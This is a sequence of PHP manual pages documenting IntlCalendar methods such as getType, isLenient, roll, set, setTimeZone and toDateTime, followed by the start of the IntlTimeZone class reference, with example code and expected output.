(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getType — Get the calendar type

Description

Object oriented style

public string IntlCalendar::getType ( void )

Procedural style

string intlcal_get_type ( IntlCalendar $cal )

A string describing the type of this calendar. This is one of the valid values for the calendar keyword value 'calendar'.

Parameters

cal

The IntlCalendar resource.

Return Values

A string representing the calendar type, such as 'gregorian', 'islamic', etc.

Examples

Example #1 IntlCalendar::getType()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance(NULL, '@calendar=ethiopic-amete-alem');
var_dump($cal->getType());

$cal = new IntlGregorianCalendar();
var_dump($cal->getType());

The above example will output:

string(19) "ethiopic-amete-alem"
string(9) "gregorian"

User Contributed Notes

There are no user contributed notes for this page.


Get time of the day at which weekend begins or ends

  • « IntlCalendar::getType
  • IntlCalendar::inDaylightTime »
  • PHP Manual
  • IntlCalendar
  • Get time of the day at which weekend begins or ends

IntlCalendar::getWeekendTransition

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends

Description

Object oriented style

public int IntlCalendar::getWeekendTransition ( string $dayOfWeek )

Procedural style

int intlcal_get_weekend_transition ( IntlCalendar $cal , string $dayOfWeek )

Returns the number of milliseconds after midnight at which the weekend begins or ends.

This is only applicable for days of the week for which
IntlCalendar::getDayOfWeekType() returns either
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE. Calling this
function for other days of the week is an error condition.

This function requires ICU 4.4 or later.

Parameters

cal

The IntlCalendar resource.

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, …,
IntlCalendar::DOW_SATURDAY.

Return Values

The number of milliseconds into the day at which the weekend begins or ends or FALSE on failure.

Examples

See example on IntlCalendar::getDayOfWeekType().

User Contributed Notes

There are no user contributed notes for this page.


Whether the objectʼs time is in Daylight Savings Time

  • « IntlCalendar::getWeekendTransition
  • IntlCalendar::isEquivalentTo »
  • PHP Manual
  • IntlCalendar
  • Whether the objectʼs time is in Daylight Savings Time

IntlCalendar::inDaylightTime

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::inDaylightTime — Whether the objectʼs time is in Daylight Savings Time

Description

Object oriented style

public bool IntlCalendar::inDaylightTime ( void )

Procedural style

bool intlcal_in_daylight_time ( IntlCalendar $cal )

Whether, for the instant represented by this object and for this objectʼs timezone, daylight saving time is in place.

Parameters

cal

The IntlCalendar resource.

Return Values

Returns TRUE if the date is in Daylight Savings Time, FALSE otherwise. The value FALSE may also be returned on failure, for instance after specifying invalid field values on non-lenient mode; use exceptions or query intl_get_error_code() to disambiguate.

Examples

Example #1 IntlCalendar::inDaylightTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1, 4, 56, 31);
var_dump($cal->inDaylightTime()); // true
$cal->set(IntlCalendar::FIELD_MONTH, 11 /* December */);
var_dump($cal->inDaylightTime()); // false

//DST end transition on 2013-10-27 at 0200 (wall time back 1 hour)
$cal = new IntlGregorianCalendar(2013, 9 /* October */, 27, 1, 30, 0);

var_dump($cal->inDaylightTime()); // false (default WALLTIME_LAST)

$cal->setRepeatedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1); // force time recalculation
var_dump($cal->inDaylightTime()); // true

User Contributed Notes

There are no user contributed notes for this page.


Whether another calendar is equal but for a different time

  • « IntlCalendar::inDaylightTime
  • IntlCalendar::isLenient »
  • PHP Manual
  • IntlCalendar
  • Whether another calendar is equal but for a different time

IntlCalendar::isEquivalentTo

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time

Description

Object oriented style

public bool IntlCalendar::isEquivalentTo ( IntlCalendar $other )

Procedural style

bool intlcal_is_equivalent_to ( IntlCalendar $cal , IntlCalendar $other )

Returns whether this and the given object are equivalent for all purposes except as to the time they have set. The locales do not have to match, as long as no change in behavior results from such mismatch. This includes the timezone, whether the lenient mode is set, the repeated and skipped wall time settings, the days of the week when the weekend starts and ceases and the times where such transitions occur. It may also include other calendar specific settings, such as the Gregorian/Julian transition instant.

Parameters

cal

The IntlCalendar resource.

other

The other calendar against which the comparison is to be made.

Return Values

Assuming there are no argument errors, returns TRUE iif the calendars are equivalent except possibly for their set time.

Examples

Example #1 IntlCalendar::isEquivalentTo()

<?php
$cal1 = IntlCalendar::createInstance('Europe/Lisbon', 'pt_PT');
$cal2 = IntlCalendar::createInstance('Europe/Lisbon', 'es_ES');
$cal2->clear();

var_dump($cal1->isEquivalentTo($cal2)); // true

$cal3 = IntlCalendar::createInstance('Europe/Lisbon', 'en_US');
var_dump($cal1->isEquivalentTo($cal3)); // false
var_dump($cal1->getFirstDayOfWeek(),    // 2 (Monday)
$cal3->getFirstDayOfWeek());            // 1 (Sunday)

The above example will output:

bool(true)
bool(false)
int(2)
int(1)

See Also

  • IntlCalendar::equals() - Compare time of two IntlCalendar objects for equality

User Contributed Notes

There are no user contributed notes for this page.


Whether date/time interpretation is in lenient mode

  • « IntlCalendar::isEquivalentTo
  • IntlCalendar::isSet »
  • PHP Manual
  • IntlCalendar
  • Whether date/time interpretation is in lenient mode

IntlCalendar::isLenient

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode

Description

Object oriented style

public bool IntlCalendar::isLenient ( void )

Procedural style

bool intlcal_is_lenient ( IntlCalendar $cal )

Returns whether the current date/time interpretations is lenient (the default). If that is case, some out of range values for fields will be accepted instead of raising an error.

Parameters

cal

The IntlCalendar resource.

Return Values

A bool representing whether the calendar is set to lenient mode.

Examples

Example #1 IntlCalendar::isLenient()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');
ini_set('intl.use_exceptions', '1');

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
var_dump(IntlDateFormatter::formatObject($cal), // 01/07/2013, 00:00:00
$cal->isLenient()); // true

$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // 02/08/2013, 00:00:00

$cal->setLenient(false);
var_dump($cal->isLenient()); // false
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // error

The above example will output:

string(20) "01/07/2013, 00:00:00"
bool(true)
string(20) "02/08/2013, 00:00:00"
bool(false)

Fatal error: Uncaught exception 'IntlException' with message 'datefmt_format_object: error obtaining instant from IntlCalendar' in /home/foobar/example.php:16
Stack trace:
#0 /home/foobar/example.php(16): IntlDateFormatter::formatObject(Object(IntlGregorianCalendar))
#1 {main}
  thrown in /home/foobar/example.php on line 16

User Contributed Notes

There are no user contributed notes for this page.


Whether a field is set

  • « IntlCalendar::isLenient
  • IntlCalendar::isWeekend »
  • PHP Manual
  • IntlCalendar
  • Whether a field is set

IntlCalendar::isSet

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::isSet — Whether a field is set

Description

Object oriented style

public bool IntlCalendar::isSet ( int $field )

Procedural style

bool intlcal_is_set ( IntlCalendar $cal , int $field )

Returns whether a field is set (as opposed to clear). Set fields take priority over unset fields and their default values when the date/time is being calculated. Fields set later take priority over fields set earlier.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

Assuming there are no argument errors, returns TRUE iif the field is set.

Examples

See the example on IntlCalendar::clear().

See Also

  • IntlCalendar::clear() - Clear a field or all fields
  • IntlCalendar::set() - Set a time field or several common fields at once

User Contributed Notes

There are no user contributed notes for this page.


Whether a certain date/time is in the weekend

  • « IntlCalendar::isSet
  • IntlCalendar::roll »
  • PHP Manual
  • IntlCalendar
  • Whether a certain date/time is in the weekend

IntlCalendar::isWeekend

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::isWeekend — Whether a certain date/time is in the weekend

Description

Object oriented style

public bool IntlCalendar::isWeekend ([ float $date = NULL ] )

Procedural style

bool intlcal_is_weekend ( IntlCalendar $cal [, float $date = NULL ] )

Returns whether either the obejctʼs current time or the provided timestamp occur during a weekend in this objectʼs calendar system.

This function requires ICU 4.4 or later.

Parameters

cal

The IntlCalendar resource.

date

An optional timestamp representing the number of milliseconds since the epoch, excluding leap seconds. If NULL, this objectʼs current time is used instead.

Return Values

A bool indicating whether the given or this objectʼs time occurs in a weekend.

The value FALSE may also be returned on failure, for instance after giving a date out of bounds on non-lenient mode; use exceptions or query intl_get_error_code() to disambiguate.

Examples

Example #1 IntlCalendar::isWeekend()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = new IntlGregorianCalendar(NULL, 'en_US');
$cal->set(2013, 6 /* July */, 7); // a Sunday

var_dump($cal->isWeekend()); // true
var_dump($cal->isWeekend(strtotime('2013-07-01 00:00:00'))); // false, Monday

$cal = new IntlGregorianCalendar(NULL, 'ar_SA');
$cal->set(2013, 6 /* July */, 7); // a Sunday
var_dump($cal->isWeekend()); // false, Sunday not in weekend in this calendar

See Also

  • IntlCalendar::getDayOfWeekType() - Tell whether a day is a weekday, weekend or a day that has a transition between the two
  • IntlCalendar::getWeekendTransition() - Get time of the day at which weekend begins or ends

User Contributed Notes

There are no user contributed notes for this page.


Add value to field without carrying into more significant fields

  • « IntlCalendar::isWeekend
  • IntlCalendar::set »
  • PHP Manual
  • IntlCalendar
  • Add value to field without carrying into more significant fields

IntlCalendar::roll

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::roll — Add value to field without carrying into more significant fields

Description

Object oriented style

public bool IntlCalendar::roll ( int $field , mixed $amountOrUpOrDown )

Procedural style

bool intlcal_roll ( IntlCalendar $cal , int $field , mixed $amountOrUpOrDown )

Adds a (signed) amount to a field. The difference with respect to IntlCalendar::add() is that when the field value overflows, it does not carry into more significant fields.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

amountOrUpOrDown

The (signed) amount to add to the field, TRUE for rolling up (adding 1), or FALSE for rolling down (subtracting 1).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 IntlCalendar::roll()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 5 /* June */, 30);

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
var_dump(IntlDateFormatter::formatObject($cal)); // "01/07/2013, 00:00:00"

$cal->set(2013, 5 /* June */, 30);
$cal->roll(IntlCalendar::FIELD_DAY_OF_MONTH, true); // roll up, same as rolling +1
var_dump(IntlDateFormatter::formatObject($cal)); // "01/06/2013, 00:00:00"

The above example will output:

string(20) "01/07/2013, 00:00:00"
string(20) "01/06/2013, 00:00:00"

See Also

  • IntlCalendar::add() - Add a (signed) amount of time to a field
  • IntlCalendar::set() - Set a time field or several common fields at once

User Contributed Notes

There are no user contributed notes for this page.


Set a time field or several common fields at once

  • « IntlCalendar::roll
  • IntlCalendar::setFirstDayOfWeek »
  • PHP Manual
  • IntlCalendar
  • Set a time field or several common fields at once

IntlCalendar::set

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::set — Set a time field or several common fields at once

Description

Object oriented style

public bool IntlCalendar::set ( int $field , int $value )
public bool IntlCalendar::set ( int $year , int $month [, int $dayOfMonth = NULL [, int $hour = NULL [, int $minute = NULL [, int $second = NULL ]]]] )

Procedural style

bool intlcal_set ( IntlCalendar $cal , int $field , int $value )
bool intlcal_set ( IntlCalendar $cal , int $year , int $month [, int $dayOfMonth = NULL [, int $hour = NULL [, int $minute = NULL [, int $second = NULL ]]]] )

Sets either a specific field to the given value, or sets at once several common fields. The range of values that are accepted depend on whether the calendar is using the lenient mode.

For fields that conflict, the fields that are set later have priority.

This method cannot be called with exactly four arguments.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

value

The new value of the given field.

year

The new value for IntlCalendar::FIELD_YEAR.

month

The new value for IntlCalendar::FIELD_MONTH.

dayOfMonth

The new value for IntlCalendar::FIELD_DAY_OF_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, …, December is 11 and Undecember (if the calendar has it) is 12.

hour

The new value for IntlCalendar::FIELD_HOUR_OF_DAY.

minute

The new value for IntlCalendar::FIELD_MINUTE.

second

The new value for IntlCalendar::FIELD_SECOND.

Return Values

Returns TRUE on success and FALSE on failure.

Examples

Example #1 IntlCalendar::set()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

//Calls made later have priority
$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
var_dump(IntlDateFormatter::formatObject($cal));

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
//the time has not been recalculated yet. If we clear the extended year,
//the year set before will be used
$cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR);
var_dump(IntlDateFormatter::formatObject($cal));

The above example will output:

string(20) "01/07/2011, 00:00:00"
string(20) "01/07/2012, 00:00:00"

See Also

  • IntlCalendar::get() - Get the value for a field
  • IntlCalendar::add() - Add a (signed) amount of time to a field
  • IntlCalendar::roll() - Add value to field without carrying into more significant fields

User Contributed Notes

There are no user contributed notes for this page.


Set the day on which the week is deemed to start

  • « IntlCalendar::set
  • IntlCalendar::setLenient »
  • PHP Manual
  • IntlCalendar
  • Set the day on which the week is deemed to start

IntlCalendar::setFirstDayOfWeek

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start

Description

Object oriented style

public bool IntlCalendar::setFirstDayOfWeek ( int $dayOfWeek )

Procedural style

bool intlcal_set_first_day_of_week ( IntlCalendar $cal , int $dayOfWeek )

Defines the day of week deemed to start the week. This affects the behavior of fields that depend on the concept of week start and end such as IntlCalendar::FIELD_WEEK_OF_YEAR and IntlCalendar::FIELD_YEAR_WOY.

Parameters

cal

The IntlCalendar resource.

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, …,
IntlCalendar::DOW_SATURDAY.

Return Values

Returns TRUE on success. Failure can only happen due to invalid parameters.

Examples

Example #1 IntlCalendar::setFirstDayOfWeek()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = IntlCalendar::createInstance();
$cal->set(2013, 5 /* June */, 30); // A Sunday

var_dump($cal->getFirstDayOfWeek()); // 2 (Monday)

echo IntlDateFormatter::formatObject($cal, <<<EOD
'local day of week: 'cc'
week of month    : 'W'
week of year     : 'ww
EOD
), "\n";

$cal->setFirstDayOfWeek(IntlCalendar::DOW_SUNDAY);

echo IntlDateFormatter::formatObject($cal, <<<EOD
'local day of week: 'cc'
week of month    : 'W'
week of year     : 'ww
EOD
), "\n";

The above example will output:

int(2)
local day of week: 7
week of month    : 4
week of year     : 26
local day of week: 1
week of month    : 5
week of year     : 27

User Contributed Notes

There are no user contributed notes for this page.


Set whether date/time interpretation is to be lenient

  • « IntlCalendar::setFirstDayOfWeek
  • IntlCalendar::setMinimalDaysInFirstWeek »
  • PHP Manual
  • IntlCalendar
  • Set whether date/time interpretation is to be lenient

IntlCalendar::setLenient

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient

Description

Object oriented style

public ReturnType IntlCalendar::setLenient ( string $isLenient )

Procedural style

ReturnType intlcal_set_lenient ( IntlCalendar $cal , string $isLenient )

Defines whether the calendar is ‘lenient mode’. In such a mode, some of out-of-bounds values for some fields are accepted, the behavior being similar to that of IntlCalendar::add() (i.e., the value wraps around, carrying into more significant fields each time). If the lenient mode is off, then such values will generate an error.

Parameters

cal

The IntlCalendar resource.

isLenient

Use TRUE to activate the lenient mode; FALSE otherwise.

Return Values

Returns TRUE on success. Failure can only happen due to invalid parameters.

Examples

See the example in IntlCalendar::isLenient().

User Contributed Notes

There are no user contributed notes for this page.


Set minimal number of days the first week in a year or month can have

  • « IntlCalendar::setLenient
  • IntlCalendar::setRepeatedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Set minimal number of days the first week in a year or month can have

IntlCalendar::setMinimalDaysInFirstWeek

(No version information available, might only be in Git)

IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have

Description

Object oriented style

public bool IntlCalendar::setMinimalDaysInFirstWeek ( int $minimalDays )

Procedural style

bool intlcal_get_minimal_days_in_first_week ( IntlCalendar $cal , int $minimalDays )

Sets the smallest number of days the first week of a year or month must have in the new year or month. For instance, in the Gregorian calendar, if this value is 1, then the first week of the year will necessarily include January 1st, while if this value is 7, then the week with January 1st will be the first week of the year only if the day of the week for January 1st matches the day of the week returned by IntlCalendar::getFirstDayOfWeek(); otherwise it will be the previous yearʼs last week.

Parameters

cal

The IntlCalendar resource.

minimalDays

The number of minimal days to set.

Return Values

TRUE on success, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set behavior for handling repeating wall times at negative timezone offset transitions

  • « IntlCalendar::setMinimalDaysInFirstWeek
  • IntlCalendar::setSkippedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Set behavior for handling repeating wall times at negative timezone offset transitions

IntlCalendar::setRepeatedWallTimeOption

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions

Description

Object oriented style

public bool IntlCalendar::setRepeatedWallTimeOption ( int $wallTimeOption )

Procedural style

bool intlcal_set_repeated_wall_time_option ( IntlCalendar $cal , int $wallTimeOption )

Sets the current strategy for dealing with wall times that are repeated whenever the clock is set back during dailight saving time end transitions. The default value is IntlCalendar::WALLTIME_LAST (take the post-DST instant). The other possible value is IntlCalendar::WALLTIME_FIRST (take the instant that occurs during DST).

This function requires ICU 4.9 or later.

Parameters

cal

The IntlCalendar resource.

wallTimeOption

One of the constants IntlCalendar::WALLTIME_FIRST or IntlCalendar::WALLTIME_LAST.

Return Values

Returns TRUE on success. Failure can only happen due to invalid parameters.

Examples

See the example on IntlCalendar::getRepeatedWallTimeOption().

See Also

  • intlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time
  • intlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • intlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time

User Contributed Notes

There are no user contributed notes for this page.


Set behavior for handling skipped wall times at positive timezone offset transitions

  • « IntlCalendar::setRepeatedWallTimeOption
  • IntlCalendar::setTime »
  • PHP Manual
  • IntlCalendar
  • Set behavior for handling skipped wall times at positive timezone offset transitions

IntlCalendar::setSkippedWallTimeOption

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions

Description

Object oriented style

public bool IntlCalendar::setSkippedWallTimeOption ( int $wallTimeOption )

Procedural style

bool intlcal_set_skipped_wall_time_option ( IntlCalendar $cal , int $wallTimeOption )

Sets the current strategy for dealing with wall times that are skipped whenever the clock is forwarded during dailight saving time start transitions. The default value is IntlCalendar::WALLTIME_LAST (take it as being the same instant as the one when the wall time is one hour more). Alternative values are IntlCalendar::WALLTIME_FIRST (same instant as the one with a wall time of one hour less) and IntlCalendar::WALLTIME_NEXT_VALID (same instant as when DST begins).

This affects only the instant represented by the calendar (as reported by IntlCalendar::getTime()), the field values will not be rewritten accordingly.

The calendar must be lenient for this option to have any effect, otherwise attempting to set a non-existing time will cause an error.

This function requires ICU 4.9 or later.

Parameters

cal

The IntlCalendar resource.

wallTimeOption

One of the constants IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST or
IntlCalendar::WALLTIME_NEXT_VALID.

Return Values

Returns TRUE on success. Failure can only happen due to invalid parameters.

Examples

See the example on IntlCalendar::getSkippedWallTimeOption().

See Also

  • intlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time
  • intlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions
  • intlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time

User Contributed Notes

There are no user contributed notes for this page.


Set the calendar time in milliseconds since the epoch

  • « IntlCalendar::setSkippedWallTimeOption
  • IntlCalendar::setTimeZone »
  • PHP Manual
  • IntlCalendar
  • Set the calendar time in milliseconds since the epoch

IntlCalendar::setTime

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch

Description

Object oriented style

public bool IntlCalendar::setTime ( float $date )

Procedural style

bool intlcal_set_time ( IntlCalendar $cal , float $date )

Sets the instant represented by this object. The instant is represented by a float whose value should be an integer number of milliseconds since the epoch (1 Jan 1970 00:00:00.000 UTC), ignoring leap seconds. All the field values will be recalculated accordingly.

Parameters

cal

The IntlCalendar resource.

date

An instant represented by the number of number of milliseconds between such instant and the epoch, ignoring leap seconds.

Return Values

Returns TRUE on success and FALSE on failure.

Examples

Example #1 IntlCalendar::setTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

/* In Europe/Lisbon, on 2013-10-27 at 0200, the clock goes back one hour and
   the timezone from UTC+01 to UTC+00 */

$cal->setTime(strtotime('2013-10-27 00:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

$cal->setTime(strtotime('2013-10-27 01:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

The above example will output:

samedi 1 juin 2013 12:00:00 heure avancée d’Europe de l’Ouest
dimanche 27 octobre 2013 01:30:00 heure avancée d’Europe de l’Ouest
dimanche 27 octobre 2013 01:30:00 heure normale d’Europe de l’Ouest

User Contributed Notes

There are no user contributed notes for this page.


Set the timezone used by this calendar

  • « IntlCalendar::setTime
  • IntlCalendar::toDateTime »
  • PHP Manual
  • IntlCalendar
  • Set the timezone used by this calendar

IntlCalendar::setTimeZone

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::setTimeZone — Set the timezone used by this calendar

Description

Object oriented style

public bool IntlCalendar::setTimeZone ( mixed $timeZone )

Procedural style

bool intlcal_set_time_zone ( IntlCalendar $cal , mixed $timeZone )

Defines a new timezone for this calendar. The time represented by the object is preserved to the detriment of the field values.

Parameters

cal

The IntlCalendar resource.

timeZone

The new timezone to be used by this calendar. It can be specified in the following ways:

  • NULL, in which case the default timezone will be used, as specified in the ini setting date.timezone or through the function date_default_timezone_set() and as returned by date_default_timezone_get().

  • An IntlTimeZone, which will be used directly.

  • A DateTimeZone. Its identifier will be extracted and an ICU timezone object will be created; the timezone will be backed by ICUʼs database, not PHPʼs.

  • A string, which should be a valid ICU timezone identifier. See IntlTimeZone::createTimeZoneIDEnumeration(). Raw offsets such as "GMT+08:30" are also accepted.

Return Values

Returns TRUE on success and FALSE on failure.

Examples

Example #1 IntlCalendar::setTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone(IntlTimeZone::getGMT());
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone('GMT+03:33');
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

The above example will output:

sábado, 1 de junio de 2013 12:00:00 Hora de verano de Europa occidental
(instant 1370084400000)
sábado, 1 de junio de 2013 11:00:00 GMT
(instant 1370084400000)
sábado, 1 de junio de 2013 14:33:00 GMT+03:33
(instant 1370084400000)

User Contributed Notes

There are no user contributed notes for this page.


Convert an IntlCalendar into a DateTime object

  • « IntlCalendar::setTimeZone
  • IntlTimeZone »
  • PHP Manual
  • IntlCalendar
  • Convert an IntlCalendar into a DateTime object

IntlCalendar::toDateTime

(PHP 5.5.0, PECL >= 3.0.0a2)

IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object

Description

Object oriented style

public DateTime IntlCalendar::toDateTime ( void )

Procedural style

DateTime intlcal_to_date_time ( IntlCalendar $cal )

Create a DateTime object that represents the same instant (up to second precision, with a rounding error of less than 1 second) and has an analog timezone to this object (the difference being DateTimeʼs timezone will be backed by PHPʼs timezone while IntlCalendarʼs timezone is backed by ICUʼs).

Parameters

cal

The IntlCalendar resource.

Return Values

A DateTime object with the same timezone as this object (though using PHPʼs database instead of ICUʼs) and the same time, except for the smaller precision (second precision instead of millisecond). Returns FALSE on failure.

Examples

Example #1 IntlCalendar::toDateTime()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'pt_PT');

$cal = IntlCalendar::createInstance('Europe/Lisbon'); //current time

$dt = $cal->toDateTime();
print_r($dt);

The above example will output:

DateTime Object
(
    [date] => 2013-07-02 00:29:13
    [timezone_type] => 3
    [timezone] => Europe/Lisbon
)

See Also

  • IntlCalendar::fromDateTime() - Create an IntlCalendar from a DateTime object or string
  • IntlCalendar::getTime() - Get time currently represented by the object
  • IntlCalendar::createInstance() - Create a new IntlCalendar
  • DateTime:__construct()

User Contributed Notes

There are no user contributed notes for this page.


The IntlTimeZone class

(PHP 5.5.0, PECL >= 3.0.0a1)

Introduction

Class synopsis

IntlTimeZone {
/* Constants */
const integer DISPLAY_SHORT = 1 ;
const integer DISPLAY_LONG = 2 ;
/* Methods */
public static integer countEquivalentIDs ( string $zoneId )
public static IntlTimeZone createDefault ( void )
public static IntlIterator createEnumeration ([ mixed $countryOrRawOffset ] )
public static IntlTimeZone createTimeZone ( string $zoneId )
public static IntlTimeZone fromDateTimeZone ( DateTimeZone $zoneId )
public static string getCanonicalID ( string $zoneId [, bool &$isSystemID ] )
public string getDisplayName ([ bool $isDaylight [, integer $style [, string $locale ]]] )
public integer getDSTSavings ( void )
public static string getEquivalentID ( string $zoneId , integer $index )
public integer getErrorCode ( void )
public string getErrorMessage ( void )
public static IntlTimeZone getGMT ( void )
public string getID ( void )
public integer getOffset ( float $date , bool $local , integer &$rawOffset , integer &$dstOffset )
public integer getRawOffset ( void )
public static string getTZDataVersion ( void )
public bool hasSameRules ( IntlTimeZone $otherTimeZone )
public DateTimeZone toDateTimeZone ( void )
public bool useDaylightTime ( void )
}

Predefined Constants

IntlTimeZone::DISPLAY_SHORT

IntlTimeZone::DISPLAY_LONG

Table of Contents

  • IntlTimeZone::countEquivalentIDs — Get the number of IDs in the equivalency group that includes the given ID
  • IntlTimeZone::createDefault — Create a new copy of the default timezone for this host
  • IntlTimeZone::createEnumeration — Get an enumeration over time zone IDs associated with the given country or offset
  • IntlTimeZone::createTimeZone — Create a timezone object for the given ID
  • IntlTimeZone::fromDateTimeZone — Create a timezone object from DateTimeZone
  • IntlTimeZone::getCanonicalID — Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID
  • IntlTimeZone::getDisplayName — Get a name of this time zone suitable for presentation to the user
  • IntlTimeZone::getDSTSavings — Get the amount of time to be added to local standard time to get local wall clock time
  • IntlTimeZone::getEquivalentID — Get an ID in the equivalency group that includes the given ID
  • IntlTimeZone::getErrorCode — Get last error code on the object
  • IntlTimeZone::getErrorMessage — Get last error message on the object
  • IntlTimeZone::getGMT — Create GMT (UTC) timezone
  • IntlTimeZone::getID — Get timezone ID
  • IntlTimeZone::getOffset — Get the time zone raw and GMT offset for the given moment in time
  • IntlTimeZone::getRawOffset — Get the raw GMT offset (before taking daylight savings time into account
  • IntlTimeZone::getTZDataVersion — Get the timezone data version currently used by ICU
  • IntlTimeZone::hasSameRules — Check if this zone has the same rules and offset as another zone
  • IntlTimeZone::toDateTimeZone — Convert to DateTimeZone object
  • IntlTimeZone::useDaylightTime — Check if this time zone uses daylight savings time

User Contributed Notes

There are no user contributed notes for this page.


Get the number of IDs in the equivalency group that includes the given ID

  • « IntlTimeZone
  • IntlTimeZone::createDefault »
  • PHP Manual
  • IntlTimeZone
  • Get the number of IDs in the equivalency group that includes the given ID

IntlTimeZone::countEquivalentIDs

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::countEquivalentIDs — Get the number of IDs in the equivalency group that includes the given ID

Description

public static integer IntlTimeZone::countEquivalentIDs ( string $zoneId )

Warning

This function is currently not documented; only its argument list is available.

Parameters

zoneId

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create a new copy of the default timezone for this host

  • « IntlTimeZone::countEquivalentIDs
  • IntlTimeZone::createEnumeration »
  • PHP Manual
  • IntlTimeZone
  • Create a new copy of the default timezone for this host

IntlTimeZone::createDefault

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::createDefault — Create a new copy of the default timezone for this host

Description

public static IntlTimeZone IntlTimeZone::createDefault ( void )

